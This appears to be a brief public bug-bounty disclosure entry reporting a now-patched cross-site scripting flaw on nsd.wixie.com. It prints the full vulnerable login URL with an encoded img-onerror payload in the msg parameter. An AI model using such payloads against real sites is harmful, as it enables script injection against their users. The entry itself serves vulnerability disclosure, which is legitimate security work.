nsd.wixie.com XSS vulnerability

Vulnerable URL: https://nsd.wixie.com/login?msg=%22%3Etrolo%3Ci%3Etralala%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E\n Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...